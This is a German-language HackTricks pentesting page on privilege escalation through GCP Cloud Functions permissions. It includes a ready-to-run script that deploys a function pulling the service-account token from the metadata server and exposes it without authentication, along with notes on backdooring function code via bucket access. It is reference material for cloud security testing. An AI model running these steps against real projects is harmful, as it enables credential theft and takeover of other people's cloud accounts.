GCP - Cloudfunctions Privesc

Support HackTricks

cloudfunctions

Mehr Informationen über Cloud Functions:

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Ein Angreifer mit diesen Berechtigungen kann eine neue Cloud-Funktion mit beliebigem (bösartigem) Code erstellen und ihr ein Dienstkonto zuweisen. Dann kann er das Dienstkonto-Token aus den Metadaten leaken, um die Berechtigungen zu eskalieren. Einige Berechtigungen zum Auslösen der Funktion könnten erforderlich sein.

Exploit-Skripte für diese Methode finden Sie hier und hier und die vorgefertigte .zip-Datei finden Sie hier.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Ein Angreifer mit diesen Berechtigungen kann den Code einer Funktion ändern und sogar das angehängte Dienstkonto ändern, um das Token zu exfiltrieren.

Um Cloud-Funktionen bereitzustellen, benötigen Sie auch actAs-Berechtigungen über das Standard-Compute-Dienstkonto oder über das Dienstkonto, das zum Erstellen des Images verwendet wird.

Einige zusätzliche Berechtigungen wie die .call-Berechtigung für Version 1 cloudfunctions oder die Rolle role/run.invoker, um die Funktion auszulösen, könnten erforderlich sein.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Wenn Sie den Fehler Permission 'run.services.setIamPolicy' denied on resource... erhalten, liegt das daran, dass Sie den Parameter --allow-unauthenticated verwenden und nicht über ausreichende Berechtigungen dafür verfügen.

Das Exploit-Skript für diese Methode finden Sie hier.

cloudfunctions.functions.sourceCodeSet

Mit dieser Berechtigung können Sie eine signierte URL erhalten, um eine Datei in einen Funktionsbucket hochzuladen (aber der Code der Funktion wird nicht geändert, Sie müssen ihn weiterhin aktualisieren)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Nicht wirklich sicher, wie nützlich nur diese Berechtigung aus der Perspektive eines Angreifers ist, aber gut zu wissen.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Gib dir eine der vorherigen .update oder .create Berechtigungen, um zu eskalieren.

cloudfunctions.functions.update

Nur mit cloudfunctions Berechtigungen, ohne iam.serviceAccounts.actAs kannst du die Funktion nicht aktualisieren, ALSO IST DAS KEINE GÜLTIGE PRIVESC.

Lese- und Schreibzugriff auf den Bucket

Wenn du Lese- und Schreibzugriff auf den Bucket hast, kannst du Änderungen im Code überwachen und wann immer eine Aktualisierung im Bucket erfolgt, kannst du den neuen Code mit deinem eigenen Code aktualisieren, sodass die neue Version der Cloud-Funktion mit dem eingereichten Backdoored-Code ausgeführt wird.

Du kannst mehr über den Angriff erfahren in:

Du kannst dies jedoch nicht verwenden, um Dritte Cloud-Funktionen im Voraus zu kompromittieren, da du, wenn du den Bucket in deinem Konto erstellst und ihm öffentliche Berechtigungen gibst, damit das externe Projekt darüber schreiben kann, den folgenden Fehler erhältst:

Dies könnte jedoch für DoS-Angriffe verwendet werden.

Lese- und Schreibzugriff auf das Artifact Registry

Wenn eine Cloud-Funktion erstellt wird, wird ein neues Docker-Image in das Artifact Registry des Projekts gepusht. Ich habe versucht, das Bild mit einem neuen zu ändern und sogar das aktuelle Bild (und das cache Bild) zu löschen, und es hat sich nichts geändert, die Cloud-Funktion funktioniert weiterhin. Daher könnte es möglicherweise möglich sein, einen Race Condition-Angriff wie mit dem Bucket auszunutzen, um den Docker-Container zu ändern, der ausgeführt wird, aber einfach das gespeicherte Bild zu ändern, ist nicht möglich, um die Cloud-Funktion zu kompromittieren.

Referenzen

Unterstütze HackTricks

Last updated